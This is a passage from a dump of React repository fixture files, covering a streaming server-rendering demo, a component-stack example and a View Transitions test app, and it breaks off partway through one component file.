    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\nimport {useData} from './data';\n\nexport default function Comments() {\n  const comments = useData();\n  return (\n    <>\n      {comments.map((comment, i) => (\n        <p className=\"comment\" key={i}>\n          {comment}\n        </p>\n      ))}\n    </>\n  );\n}\n"
  },
  {
    "path": "fixtures/ssr2/src/Html.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\nexport default function Html({assets, children, title}) {\n  return (\n    <html lang=\"en\">\n      <head>\n        <meta charSet=\"utf-8\" />\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n        <link rel=\"shortcut icon\" href=\"favicon.ico\" />\n        <link rel=\"stylesheet\" href={assets['main.css']} />\n        <title>{title}</title>\n      </head>\n      <body>\n        <noscript\n          dangerouslySetInnerHTML={{\n            __html: `<b>Enable JavaScript to run this app.</b>`,\n          }}\n        />\n        {children}\n        <script\n          dangerouslySetInnerHTML={{\n            __html: `assetManifest = ${JSON.stringify(assets)};`,\n          }}\n        />\n      </body>\n    </html>\n  );\n}\n"
  },
  {
    "path": "fixtures/ssr2/src/Layout.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\nexport default function Layout({children}) {\n  return <main>{children}</main>;\n}\n"
  },
  {
    "path": "fixtures/ssr2/src/NavBar.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\nexport default function NavBar() {\n  return (\n    <nav>\n      <a href=\"/\">Home</a>\n    </nav>\n  );\n}\n"
  },
  {
    "path": "fixtures/ssr2/src/Post.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\nexport default function Post() {\n  return (\n    <>\n      <h1>Hello world</h1>\n      <p>\n        This demo is <b>artificially slowed down</b>. Open{' '}\n        <code>server/delays.js</code> to adjust how much different things are\n        slowed down.\n      </p>\n      <p>\n        Notice how HTML for comments \"streams in\" before the JS (or React) has\n        loaded on the page.\n      </p>\n      <p>\n        Also notice that the JS for comments and sidebar has been code-split,\n        but HTML for it is still included in the server output.\n      </p>\n    </>\n  );\n}\n"
  },
  {
    "path": "fixtures/ssr2/src/Sidebar.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\nexport default function Sidebar() {\n  return (\n    <>\n      <h1>Archive</h1>\n      <ul>\n        <li>May 2021</li>\n        <li>April 2021</li>\n        <li>March 2021</li>\n        <li>February 2021</li>\n        <li>January 2021</li>\n        <li>December 2020</li>\n        <li>November 2020</li>\n        <li>October 2020</li>\n        <li>September 2020</li>\n      </ul>\n    </>\n  );\n}\n"
  },
  {
    "path": "fixtures/ssr2/src/Spinner.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\nexport default function Spinner({active = true}) {\n  return (\n    <div\n      className={['spinner', active && 'spinner--active'].join(' ')}\n      role=\"progressbar\"\n      aria-busy={active ? 'true' : 'false'}\n    />\n  );\n}\n"
  },
  {
    "path": "fixtures/ssr2/src/data.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\nimport {createContext, useContext} from 'react';\n\n// Note: this file does not demonstrate a real data fetching strategy.\n// We only use this to simulate data fetching happening on the server\n// while the cache is populated on the client. In a real app, you would\n// instead use a data fetching library or Server Components for this.\n\nconst DataContext = createContext(null);\n\nexport function DataProvider({children, data}) {\n  return <DataContext.Provider value={data}>{children}</DataContext.Provider>;\n}\n\n// In a real implementation the data would be streamed with the HTML.\n// We haven't integrated this part yet, so we'll just use fake data.\nconst fakeData = [\n  \"Wait, it doesn't wait for React to load?\",\n  'How does this even work?',\n  'I like marshmallows',\n];\n\nexport function useData() {\n  const ctx = useContext(DataContext);\n  if (ctx !== null) {\n    // This context is only provided on the server.\n    // It is here to simulate a suspending data fetch.\n    ctx.read();\n  }\n  return fakeData;\n}\n"
  },
  {
    "path": "fixtures/ssr2/src/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\nimport {hydrateRoot} from 'react-dom/client';\nimport App from './App';\n\nhydrateRoot(document, <App assets={window.assetManifest} />);\n"
  },
  {
    "path": "fixtures/stacks/BabelClasses-compiled.js",
    "content": "function _assertThisInitialized(self) {\n  if (self === void 0) {\n    throw new ReferenceError(\n      \"this hasn't been initialised - super() hasn't been called\"\n    );\n  }\n  return self;\n}\nfunction _defineProperty(obj, key, value) {\n  key = _toPropertyKey(key);\n  if (key in obj) {\n    Object.defineProperty(obj, key, {\n      value: value,\n      enumerable: true,\n      configurable: true,\n      writable: true,\n    });\n  } else {\n    obj[key] = value;\n  }\n  return obj;\n}\nfunction _toPropertyKey(t) {\n  var i = _toPrimitive(t, 'string');\n  return 'symbol' == typeof i ? i : i + '';\n}\nfunction _toPrimitive(t, r) {\n  if ('object' != typeof t || !t) return t;\n  var e = t[Symbol.toPrimitive];\n  if (void 0 !== e) {\n    var i = e.call(t, r || 'default');\n    if ('object' != typeof i) return i;\n    throw new TypeError('@@toPrimitive must return a primitive value.');\n  }\n  return ('string' === r ? String : Number)(t);\n}\nfunction _inheritsLoose(subClass, superClass) {\n  subClass.prototype = Object.create(superClass.prototype);\n  subClass.prototype.constructor = subClass;\n  _setPrototypeOf(subClass, superClass);\n}\nfunction _setPrototypeOf(o, p) {\n  _setPrototypeOf = Object.setPrototypeOf\n    ? Object.setPrototypeOf.bind()\n    : function _setPrototypeOf(o, p) {\n        o.__proto__ = p;\n        return o;\n      };\n  return _setPrototypeOf(o, p);\n}\n// Compile this with Babel.\n// babel --config-file ./babel.config.json BabelClasses.js --out-file BabelClasses-compiled.js --source-maps\n\nexport let BabelClass = /*#__PURE__*/ (function (_React$Component) {\n  _inheritsLoose(BabelClass, _React$Component);\n  function BabelClass() {\n    return _React$Component.apply(this, arguments) || this;\n  }\n  var _proto = BabelClass.prototype;\n  _proto.render = function render() {\n    return this.props.children;\n  };\n  return BabelClass;\n})(React.Component);\nexport let BabelClassWithFields = /*#__PURE__*/ (function (_React$Component2) {\n  _inheritsLoose(BabelClassWithFields, _React$Component2);\n  function BabelClassWithFields(...args) {\n    var _this;\n    _this = _React$Component2.call(this, ...args) || this;\n    _defineProperty(_assertThisInitialized(_this), 'props', void 0);\n    _defineProperty(_assertThisInitialized(_this), 'state', {});\n    return _this;\n  } // These compile to defineProperty which can break some interception techniques.\n  var _proto2 = BabelClassWithFields.prototype;\n  _proto2.render = function render() {\n    return this.props.children;\n  };\n  return BabelClassWithFields;\n})(React.Component);\n\n//# sourceMappingURL=BabelClasses-compiled.js.map\n"
  },
  {
    "path": "fixtures/stacks/BabelClasses.js",
    "content": "// Compile this with Babel.\n// babel --config-file ./babel.config.json BabelClasses.js --out-file BabelClasses-compiled.js --source-maps\n\nexport class BabelClass extends React.Component {\n  render() {\n    return this.props.children;\n  }\n}\n\nexport class BabelClassWithFields extends React.Component {\n  // These compile to defineProperty which can break some interception techniques.\n  props;\n  state = {};\n  render() {\n    return this.props.children;\n  }\n}\n"
  },
  {
    "path": "fixtures/stacks/Components.js",
    "content": "// Example\n\nexport const Throw = React.lazy(() => {\n  throw new Error('Example');\n});\n\nexport const Component = React.memo(function Component({children}) {\n  return children;\n});\n\nexport function DisplayName({children}) {\n  return children;\n}\nDisplayName.displayName = 'Custom Name';\n\nexport class NativeClass extends React.Component {\n  render() {\n    return this.props.children;\n  }\n}\n\nexport class FrozenClass extends React.Component {\n  constructor() {\n    super();\n  }\n  render() {\n    return this.props.children;\n  }\n}\nObject.freeze(FrozenClass.prototype);\n"
  },
  {
    "path": "fixtures/stacks/Example.js",
    "content": "import {BabelClass, BabelClassWithFields} from './BabelClasses-compiled.js';\nimport {\n  Throw,\n  Component,\n  DisplayName,\n  NativeClass,\n  FrozenClass,\n} from './Components.js';\n\nconst x = React.createElement;\n\nclass ErrorBoundary extends React.Component {\n  static getDerivedStateFromError(error) {\n    return {\n      error: error,\n    };\n  }\n\n  componentDidCatch(error, errorInfo) {\n    console.log(error.message, errorInfo.componentStack);\n    this.setState({\n      componentStack: errorInfo.componentStack,\n    });\n  }\n\n  render() {\n    if (this.state && this.state.error) {\n      return x(\n        'div',\n        null,\n        x('h3', null, this.state.error.message),\n        x('pre', null, this.state.componentStack)\n      );\n    }\n    return this.props.children;\n  }\n}\n\nexport default function Example() {\n  let state = React.useState(false);\n  return x(\n    ErrorBoundary,\n    null,\n    x(\n      DisplayName,\n      null,\n      x(\n        NativeClass,\n        null,\n        x(\n          FrozenClass,\n          null,\n          x(\n            BabelClass,\n            null,\n            x(\n              BabelClassWithFields,\n              null,\n              x(\n                React.Suspense,\n                null,\n                x('div', null, x(Component, null, x(Throw)))\n              )\n            )\n          )\n        )\n      )\n    )\n  );\n}\n"
  },
  {
    "path": "fixtures/stacks/babel.config.json",
    "content": "{\n  \"plugins\": [\n    [\"@babel/plugin-proposal-class-properties\", {\"loose\": false}],\n    [\"@babel/plugin-transform-classes\", {\"loose\": true}]\n  ]\n}\n"
  },
  {
    "path": "fixtures/stacks/index.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"utf-8\">\n    <title>Component Stacks</title>\n    <style>\n      html, body {\n        margin: 20px;\n      }\n      pre {\n        background: #eee;\n        border: 1px solid #ccc;\n        padding: 2px;\n      }\n    </style>\n  </head>\n  <body>\n    <div id=\"container\">\n      <p>\n        To install React, follow the instructions on\n        <a href=\"https://github.com/facebook/react/\">GitHub</a>.\n      </p>\n      <p>\n        If you can see this, React is <strong>not</strong> working right.\n        If you checked out the source from GitHub make sure to run <code>npm run build</code>.\n      </p>\n    </div>\n    <script type=\"module\">\n      import React from 'https://esm.sh/react@canary/?dev';\n      import ReactDOMClient from 'https://esm.sh/react-dom@canary/client?dev';\n\n      window.React = React;\n      window.ReactDOMClient = ReactDOMClient;\n\n      import(\"./Example.js\").then(({ default: Example }) => {\n        console.log(\"Example\", Example)\n        const container = document.getElementById(\"container\");\n        const root = ReactDOMClient.createRoot(container);\n        root.render(React.createElement(Example));\n      });\n    </script>\n    <h3>The above stack should look something like this:</h3>\n    <pre>\n    at Lazy\n    at Component (/stacks/Component.js:7:1)\n    at div\n    at Suspense\n    at BabelClassWithFields (/stacks/BabelClasses-compiled.js:31:31)\n    at BabelClass (/stacks/BabelClass-compiled.js:13:29)\n    at FrozenClass (/stacks/Components.js:22:1)\n    at NativeClass (/stacks/Component.js:16:1)\n    at Custom Name (/stacks/Component.js:11:1)\n    at ErrorBoundary (/stacks/Example.js:5:1)\n    at Example (/stacks/Example.js:32:1)</pre>\n  </body>\n</html>\n"
  },
  {
    "path": "fixtures/stacks/package.json",
    "content": "{\n  \"scripts\": {\n    \"build\": \"babel --config-file ./babel.config.json BabelClasses.js -o BabelClasses-compiled.js --source-maps\",\n    \"dev\": \"http-server .\"\n  },\n  \"dependencies\": {\n    \"http-server\": \"^14.1.1\"\n  },\n  \"devDependencies\": {\n    \"@babel/cli\": \"^7.24.1\",\n    \"@babel/core\": \"^7.24.4\"\n  }\n}\n"
  },
  {
    "path": "fixtures/view-transition/README.md",
    "content": "# View Transition\n\nA test case for View Transitions.\n\n## Setup\n\nTo reference a local build of React, first run `npm run build` at the root\nof the React project. Then:\n\n```\ncd fixtures/view-transition\nyarn\nyarn start\n```\n\nThe `start` command runs a webpack dev server and a server-side rendering server in development mode with hot reloading.\n\n**Note: whenever you make changes to React and rebuild it, you need to re-run `yarn` in this folder:**\n\n```\nyarn\n```\n\nIf you want to try the production mode instead run:\n\n```\nyarn start:prod\n```\n\nThis will pre-build all static resources and then start a server-side rendering HTTP server that hosts the React app and service the static resources (without hot reloading).\n"
  },
  {
    "path": "fixtures/view-transition/loader/package.json",
    "content": "{\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "fixtures/view-transition/loader/server.js",
    "content": "import babel from '@babel/core';\n\nconst babelOptions = {\n  babelrc: false,\n  ignore: [/\\/(build|node_modules)\\//],\n  plugins: [\n    '@babel/plugin-syntax-import-meta',\n    '@babel/plugin-transform-react-jsx',\n  ],\n};\n\nexport async function load(url, context, defaultLoad) {\n  if (url.endsWith('.css')) {\n    return {source: 'export default {}', format: 'module', shortCircuit: true};\n  }\n  const {format} = context;\n  const result = await defaultLoad(url, context, defaultLoad);\n  if (result.format === 'module') {\n    const opt = Object.assign({filename: url}, babelOptions);\n    const newResult = await babel.transformAsync(result.source, opt);\n    if (!newResult) {\n      if (typeof result.source === 'string') {\n        return result;\n      }\n      return {\n        source: Buffer.from(result.source).toString('utf8'),\n        format: 'module',\n      };\n    }\n    return {source: newResult.code, format: 'module'};\n  }\n  return defaultLoad(url, context, defaultLoad);\n}\n\nasync function babelTransformSource(source, context, defaultTransformSource) {\n  const {format} = context;\n  if (format === 'module') {\n    const opt = Object.assign({filename: context.url}, babelOptions);\n    const newResult = await babel.transformAsync(source, opt);\n    if (!newResult) {\n      if (typeof source === 'string') {\n        return {source};\n      }\n      return {\n        source: Buffer.from(source).toString('utf8'),\n      };\n    }\n    return {source: newResult.code};\n  }\n  return defaultTransformSource(source, context, defaultTransformSource);\n}\n\nexport const transformSource =\n  process.version < 'v16' ? babelTransformSource : undefined;\n"
  },
  {
    "path": "fixtures/view-transition/package.json",
    "content": "{\n  \"name\": \"react-fixtures-view-transition\",\n  \"version\": \"0.1.0\",\n  \"private\": true,\n  \"devDependencies\": {\n    \"concurrently\": \"3.1.0\",\n    \"http-proxy-middleware\": \"3.0.3\",\n    \"react-scripts\": \"5.0.1\",\n    \"@babel/plugin-proposal-private-property-in-object\": \"7.21.11\"\n  },\n  \"dependencies\": {\n    \"@babel/register\": \"^7.25.9\",\n    \"express\": \"^4.14.0\",\n    \"ignore-styles\": \"^5.0.1\",\n    \"react\": \"^19.0.0\",\n    \"react-dom\": \"^19.0.0\",\n    \"animation-timelines\": \"^0.0.4\"\n  },\n  \"eslintConfig\": {\n    \"extends\": [\n      \"react-app\",\n      \"react-app/jest\"\n    ]\n  },\n  \"scripts\": {\n    \"predev\": \"cp -r ../../build/oss-experimental/* ./node_modules/ && rm -rf node_modules/.cache;\",\n    \"prestart\": \"cp -r ../../build/oss-experimental/* ./node_modules/ && rm -rf node_modules/.cache;\",\n    \"prebuild\": \"cp -r ../../build/oss-experimental/* ./node_modules/ && rm -rf node_modules/.cache;\",\n    \"dev\": \"concurrently \\\"npm run dev:server\\\" \\\"npm run dev:client\\\"\",\n    \"dev:client\": \"BROWSER=none PORT=3001 react-scripts start\",\n    \"dev:server\": \"NODE_ENV=development node --experimental-loader ./loader/server.js server\",\n    \"start\": \"react-scripts build && NODE_ENV=production node --experimental-loader ./loader/server.js server\",\n    \"build\": \"react-scripts build\",\n    \"test\": \"react-scripts test --env=jsdom\",\n    \"eject\": \"react-scripts eject\"\n  },\n  \"browserslist\": {\n    \"production\": [\n      \">0.2%\",\n      \"not dead\",\n      \"not op_mini all\"\n    ],\n    \"development\": [\n      \"last 1 chrome version\",\n      \"last 1 firefox version\",\n      \"last 1 safari version\"\n    ]\n  }\n}\n"
  },
  {
    "path": "fixtures/view-transition/public/index.html",
    "content": "<!doctype html>\n<html>\n  <body>\n    <script>\n      /*\n      This is just a placeholder to make react-scripts happy.\n      We're not using it. If we end up here, redirect to the\n      primary server.\n      */\n      location.href = '//localhost:3000/';\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "fixtures/view-transition/server/index.js",
    "content": "require('ignore-styles');\nconst babelRegister = require('@babel/register');\nconst proxy = require('http-proxy-middleware');\n\nbabelRegister({\n  ignore: [/\\/(build|node_modules)\\//],\n  presets: ['react-app'],\n});\n\nconst express = require('express');\nconst path = require('path');\n\nconst app = express();\n\n// Application\nif (process.env.NODE_ENV === 'development') {\n  app.get('/', function (req, res) {\n    // In development mode we clear the module cache between each request to\n    // get automatic hot reloading.\n    for (var key in require.cache) {\n      delete require.cache[key];\n    }\n    import('./render.js').then(({default: render}) => {\n      render(req.url, res);\n    });\n  });\n} else {\n  import('./render.js').then(({default: render}) => {\n    app.get('/', function (req, res) {\n      render(req.url, res);\n    });\n  });\n}\n\n// Static resources\napp.use(express.static(path.resolve(__dirname, '..', 'build')));\n\n// Proxy everything else to create-react-app's webpack development server\nif (process.env.NODE_ENV === 'development') {\n  app.use(\n    '/',\n    proxy.createProxyMiddleware({\n      ws: true,\n      changeOrigin: true,\n      target: 'http://127.0.0.1:3001',\n    })\n  );\n}\n\napp.listen(3000, () => {\n  console.log('Listening on port 3000...');\n});\n\napp.on('error', function (error) {\n  if (error.syscall !== 'listen') {\n    throw error;\n  }\n\n  var bind = typeof port === 'string' ? 'Pipe ' + port : 'Port ' + port;\n\n  switch (error.code) {\n    case 'EACCES':\n      console.error(bind + ' requires elevated privileges');\n      process.exit(1);\n      break;\n    case 'EADDRINUSE':\n      console.error(bind + ' is already in use');\n      process.exit(1);\n      break;\n    default:\n      throw error;\n  }\n});\n"
  },
  {
    "path": "fixtures/view-transition/server/render.js",
    "content": "import React from 'react';\nimport {renderToPipeableStream} from 'react-dom/server';\n\nimport App from '../src/components/App.js';\n\nlet assets;\nif (process.env.NODE_ENV === 'development') {\n  // Use the bundle from create-react-app's server in development mode.\n  assets = {\n    'main.js': '/static/js/bundle.js',\n    // 'main.css': '',\n  };\n} else {\n  assets = require('../build/asset-manifest.json').files;\n}\n\nexport default function render(url, res) {\n  res.socket.on('error', error => {\n    // Log fatal errors\n    console.error('Fatal', error);\n  });\n  let didError = false;\n  const {pipe, abort} = renderToPipeableStream(\n    <App assets={assets} initialURL={url} />,\n    {\n      bootstrapScripts: [assets['main.js']],\n      onShellReady() {\n        // If something errored before we started streaming, we set the error code appropriately.\n        res.statusCode = didError ? 500 : 200;\n        res.setHeader('Content-type', 'text/html');\n        pipe(res);\n      },\n      onShellError(x) {\n        // Something errored before we could complete the shell so we emit an alternative shell.\n        res.statusCode = 500;\n        res.send('<!doctype><p>Error</p>');\n      },\n      onError(x) {\n        didError = true;\n        console.error(x);\n      },\n    }\n  );\n  // Abandon and switch to client rendering after 5 seconds.\n  // Try lowering this to see the client recover.\n  setTimeout(abort, 5000);\n}\n"
  },
  {
    "path": "fixtures/view-transition/src/components/App.js",
    "content": "import React, {\n  startTransition,\n  useLayoutEffect,\n  useEffect,\n  useState,\n  addTransitionType,\n} from 'react';\n\nimport Chrome from './Chrome.js';\nimport Page from './Page.js';\n\nconst enableNavigationAPI = typeof navigation === 'object';\n\nexport default function App({assets, initialURL}) {\n  const [routerState, setRouterState] = useState({\n    pendingNav: () => {},\n    url: initialURL,\n  });\n  function navigate(url) {\n    if (enableNavigationAPI) {\n      window.navigation.navigate(url);\n    } else {\n      startTransition(() => {\n        setRouterState({\n          url,\n          pendingNav() {\n            window.history.pushState({}, '', url);\n          },\n        });\n      });\n    }\n  }\n  useEffect(() => {\n    if (enableNavigationAPI) {\n      window.navigation.addEventListener('navigate', event => {\n        if (!event.canIntercept) {\n          return;\n        }\n        const navigationType = event.navigationType;\n        const previousIndex = window.navigation.currentEntry.index;\n        const newURL = new URL(event.destination.url);\n        event.intercept({\n          handler() {\n            let promise;\n            startTransition(() => {\n              addTransitionType('navigation-' + navigationType);\n              if (navigationType === 'traverse') {\n                // For traverse types it's useful to distinguish going back or forward.\n                const nextIndex = event.destination.index;\n                if (nextIndex > previousIndex) {\n                  addTransitionType('navigation-forward');\n                } else if (nextIndex < previousIndex) {\n                  addTransitionType('navigation-back');\n                }\n              }\n              promise = new Promise(resolve => {\n                setRouterState({\n                  url: newURL.pathname + newURL.search,\n                  pendingNav: resolve,\n                });\n              });\n            });\n            return promise;\n          },\n          commit: 'after-transition', // plz ship this, browsers\n        });\n      });\n    } else {\n      window.addEventListener('popstate', () => {\n        // This should not animate because restoration has to be synchronous.\n        // Even though it's a transition.\n        startTransition(() => {\n          setRouterState({\n            url: document.location.pathname + document.location.search,\n            pendingNav() {\n              // Noop. URL has already updated.\n            },\n          });\n        });\n      });\n    }\n  }, []);\n  const pendingNav = routerState.pendingNav;\n  useLayoutEffect(() => {\n    pendingNav();\n  }, [pendingNav]);\n  return (\n    <Chrome title=\"Hello World\" assets={assets}>\n      <Page url={routerState.url} navigate={navigate} />\n    </Chrome>\n  );\n}\n"
  },
  {
    "path": "fixtures/view-transition/src/components/Chrome.css",
    "content": "html {\n  touch-action: pan-x pan-y;\n}\n\nbody {\n  margin: 10px;\n  padding: 0;\n  font-family: sans-serif;\n}\n\n::view-transition-group(*),\n::view-transition-image-pair(*),\n::view-transition-old(*),\n::view-transition-new(*) {\n  pointer-events: none;\n}\n"
  },
  {
    "path": "fixtures/view-transition/src/components/Chrome.js",
    "content": "import React, {Component} from 'react';\n\nimport './Chrome.css';\n\nexport default class Chrome extends Component {\n  render() {\n    const assets = this.props.assets;\n    return (\n      <html lang=\"en\">\n        <head>\n          <meta charSet=\"utf-8\" />\n          <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n          <link rel=\"shortcut icon\" href=\"favicon.ico\" />\n          <link rel=\"stylesheet\" href={assets['main.css']} />\n          <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n          <link\n            rel=\"preconnect\"\n            href=\"https://fonts.gstatic.com\"\n            crossOrigin=\"\"\n          />\n          <link\n            href=\"https://fonts.googleapis.com/css2?family=Roboto:wght@100&display=swap\"\n            rel=\"stylesheet\"\n          />\n          <title>{this.props.title}</title>\n        </head>\n        <body>\n          <noscript\n            dangerouslySetInnerHTML={{\n              __html: `<b>Enable JavaScript to run this app.</b>`,\n            }}\n          />\n          {this.props.children}\n          <script\n            dangerouslySetInnerHTML={{\n              __html: `assetManifest = ${JSON.stringify(assets)};`,\n            }}\n          />\n        </body>\n      </html>\n    );\n  }\n}\n"
  },
  {
    "path": "fixtures/view-transition/src/components/NestedReveal.js",
    "content": "import React, {Suspense, use} from 'react';\n\nasync function sleep(ms) {\n  return new Promise(resolve => setTimeout(resolve, ms));\n}\n\nfunction Use({useable}) {\n  use(useable);\n  return null;\n}\n\nlet delay1;\nlet delay2;\n\nexport default function NestedReveal({}) {\n  if (!delay1) {\n    delay1 = sleep(100);\n    // Needs to happen before the throttled reveal of delay 1\n    delay2 = sleep(200);\n  }\n\n  return (\n    <div className=\"swipe-recognizer\">\n      Shell\n      <Suspense fallback=\"Loading level 1\">\n        <div>Level 1</div>\n        <Use useable={delay1} />\n\n        <Suspense fallback=\"Loading level 2\">\n          <div>Level 2</div>\n          <Use useable={delay2} />\n        </Suspense>\n      </Suspense>\n    </div>\n  );\n}\n"
  },
  {
    "path": "fixtures/view-transition/src/components/Page.css",
    "content": ".swipe-recognizer {\n  width: 300px;\n  background: #eee;\n  border-radius: 10px;\n  padding: 20px;\n}\n\n.button {\n  background: #000;\n  color: #fff;\n  border: 0px;\n  border-radius: 5px;\n  padding: 10px;\n}\n\n.portal {\n  position: fixed;\n  top: 10px;\n  left: 360px;\n  border: 1px solid #ccc;\n}"
  },
  {
    "path": "fixtures/view-transition/src/components/Page.js",
    "content": "import React, {\n  addTransitionType,\n  ViewTransition,\n  Activity,\n  useLayoutEffect,\n  useEffect,\n  useInsertionEffect,\n  useState,\n  useId,\n  useOptimistic,\n  startTransition,\n  Suspense,\n} from 'react';\n\nimport {createPortal} from 'react-dom';\n\nimport SwipeRecognizer from './SwipeRecognizer.js';\n\nimport './Page.css';\n\nimport transitions from './Transitions.module.css';\nimport NestedReveal from './NestedReveal.js';\n\nasync function sleep(ms) {\n  return new Promise(resolve => setTimeout(resolve, ms));\n}\n\nconst a = (\n  <div key=\"a\">\n    <ViewTransition>\n      <div>a</div>\n    </ViewTransition>\n  </div>\n);\n\nconst b = (\n  <div key=\"b\">\n    <ViewTransition>\n      <div>b</div>\n    </ViewTransition>\n  </div>\n);\n\nfunction Component() {\n  // Test inserting fonts with style tags using useInsertionEffect. This is not recommended but\n  // used to test that gestures etc works with useInsertionEffect so that stylesheet based\n  // libraries can be properly supported.\n  useInsertionEffect(() => {\n    const style = document.createElement('style');\n    style.textContent = `\n      .roboto-font {\n        font-family: \"Roboto\", serif;\n        font-optical-sizing: auto;\n        font-weight: 100;\n        font-style: normal;\n        font-variation-settings:\n          \"wdth\" 100;\n      }\n    `;\n    document.head.appendChild(style);\n    return () => {\n      document.head.removeChild(style);\n    };\n  }, []);\n  return (\n    <ViewTransition\n      default={\n        transitions['enter-slide-right'] + ' ' + transitions['exit-slide-left']\n      }>\n      <p className=\"roboto-font\">Slide In from Left, Slide Out to Right</p>\n      <p>\n        <img\n          src=\"https://react.dev/_next/image?url=%2Fimages%2Fteam%2Fsebmarkbage.jpg&w=3840&q=75\"\n          width=\"400\"\n          height=\"248\"\n        />\n      </p>\n    </ViewTransition>\n  );\n}\n\nfunction Id() {\n  // This is just testing that Id inside a ViewTransition can hydrate correctly.\n  return <span id={useId()} />;\n}\n\nlet wait;\nfunction Suspend() {\n  if (!wait) wait = sleep(500);\n  return React.use(wait);\n}\n\nexport default function Page({url, navigate}) {\n  const [renderedUrl, optimisticNavigate] = useOptimistic(\n    url,\n    (state, direction) => {\n      return direction === 'left' ? '/?a' : '/?b';\n    }\n  );\n  const show = renderedUrl === '/?b';\n  function onTransition(viewTransition, types) {\n    const keyframes = [\n      {rotate: '0deg', transformOrigin: '30px 8px'},\n      {rotate: '360deg', transformOrigin: '30px 8px'},\n    ];\n    const animation1 = viewTransition.old.animate(keyframes, 250);\n    const animation2 = viewTransition.new.animate(keyframes, 250);\n    return () => {\n      animation1.cancel();\n      animation2.cancel();\n    };\n  }\n\n  function onGestureTransition(\n    timeline,\n    {rangeStart, rangeEnd},\n    viewTransition,\n    types\n  ) {\n    const keyframes = [\n      {rotate: '0deg', transformOrigin: '30px 8px'},\n      {rotate: '360deg', transformOrigin: '30px 8px'},\n    ];\n    const reverse = rangeStart > rangeEnd;\n    if (timeline instanceof AnimationTimeline) {\n      // Native Timeline\n      const options = {\n        timeline: timeline,\n        direction: reverse ? 'normal' : 'reverse',\n        rangeStart: (reverse ? rangeEnd : rangeStart) + '%',\n        rangeEnd: (reverse ? rangeStart : rangeEnd) + '%',\n      };\n      const animation1 = viewTransition.old.animate(keyframes, options);\n      const animation2 = viewTransition.new.animate(keyframes, options);\n      return () => {\n        animation1.cancel();\n        animation2.cancel();\n      };\n    } else {\n      // Custom Timeline\n      const options = {\n        direction: reverse ? 'normal' : 'reverse',\n        // We set the delay and duration to represent the span of the range.\n        delay: reverse ? rangeEnd : rangeStart,\n        duration: reverse ? rangeStart - rangeEnd : rangeEnd - rangeStart,\n      };\n      const animation1 = viewTransition.old.animate(keyframes, options);\n      const animation2 = viewTransition.new.animate(keyframes, options);\n      // Let the custom timeline take control of driving the animations.\n      const cleanup1 = timeline.animate(animation1);\n      const cleanup2 = timeline.animate(animation2);\n      return () => {\n        animation1.cancel();\n        animation2.cancel();\n        cleanup1();\n        cleanup2();\n      };\n    }\n  }\n\n  function swipeAction() {\n    navigate(show ? '/?a' : '/?b');\n  }\n\n  const [counter, setCounter] = useState(0);\n\n  useEffect(() => {\n    const timer = setInterval(() => setCounter(c => c + 1), 1000);\n    return () => clearInterval(timer);\n  }, []);\n\n  useLayoutEffect(() => {\n    // Calling a default update should not interrupt ViewTransitions but\n    // a flushSync will.\n    // Promise.resolve().then(() => {\n    //   flushSync(() => {\n    // setCounter(c => c + 10);\n    //  });\n    // });\n  }, [show]);\n\n  const [showModal, setShowModal] = useState(false);\n  const portal = showModal ? (\n    createPortal(\n      <div className=\"portal\">\n        Portal: {!show ? 'A' : 'B'}\n        <ViewTransition>\n          <div>{!show ? 'A' : 'B'}</div>\n        </ViewTransition>\n      </div>,\n      document.body\n    )\n  ) : (\n    <button\n      onClick={() =>\n        startTransition(async () => {\n          await sleep(2000);\n          setShowModal(true);\n        })\n      }>\n      Show Modal\n    </button>\n  );\n\n  const exclamation = (\n    <ViewTransition\n      name=\"exclamation\"\n      onShare={onTransition}\n      onGestureShare={onGestureTransition}>\n      <span>\n        <div>!</div>\n      </span>\n    </ViewTransition>\n  );\n  return (\n    <div className=\"swipe-recognizer\">\n      <SwipeRecognizer\n        action={swipeAction}\n        gesture={direction => {\n          addTransitionType(\n            direction === 'left' ? 'navigation-forward' : 'navigation-back'\n          );\n          optimisticNavigate(direction);\n        }}\n        direction={show ? 'left' : 'right'}>\n        <button\n          className=\"button\"\n          onClick={() => {\n            navigate(url === '/?b' ? '/?a' : '/?b');\n          }}>\n          {url === '/?b' ? 'Goto A' : 'Goto B'}\n        </button>\n        <ViewTransition default=\"none\">\n          <div>\n            <ViewTransition>\n              <div>\n                <ViewTransition default={transitions['slide-on-nav']}>\n                  <h1>{!show ? 'A' : 'B' + counter}</h1>\n                </ViewTransition>\n              </div>\n            </ViewTransition>\n            <ViewTransition\n              default={{\n                'navigation-back': transitions['slide-right'],\n                'navigation-forward': transitions['slide-left'],\n              }}>\n              <h1>{!show ? 'A' + counter : 'B'}</h1>\n            </ViewTransition>\n            {\n              // Using url instead of 